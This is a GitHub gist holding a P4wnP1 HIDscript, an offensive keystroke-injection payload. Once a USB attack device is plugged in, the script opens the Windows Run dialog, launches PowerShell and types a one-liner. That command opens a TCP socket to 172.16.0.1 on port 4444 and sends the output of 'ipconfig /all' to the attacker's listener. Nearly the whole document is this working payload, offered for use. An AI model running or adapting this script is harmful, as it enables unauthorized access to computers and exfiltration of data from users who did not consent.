Skip to content

Instantly share code, notes, and snippets.

@Klepvink
Last active October 25, 2019 14:38
Show Gist options
  • Save Klepvink/74274d9df46e422536032ea9d054e035 to your computer and use it in GitHub Desktop.
Save Klepvink/74274d9df46e422536032ea9d054e035 to your computer and use it in GitHub Desktop.
[P4wnP1] HIDscript for sending command output over TCP (requires a TCP listener to be active on P4wnP1)
layout("US");
press("GUI r");
delay(500);
type("powershell\n");
delay(1100);
type("$Port = '4444';$tcpConnection = New-Object System.Net.Sockets.TcpClient('172.16.0.1', $Port);$tcpStream = $tcpConnection.GetStream();$writer = New-Object System.IO.StreamWriter($tcpStream);$writer.AutoFlush = $true;while ($tcpConnection.Connected){if ($tcpConnection.Connected){$command = ipconfig /all;$output = $command | out-string;$writer.WriteLine($output) | Out-Null;break}}$writer.Close();exit\n");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment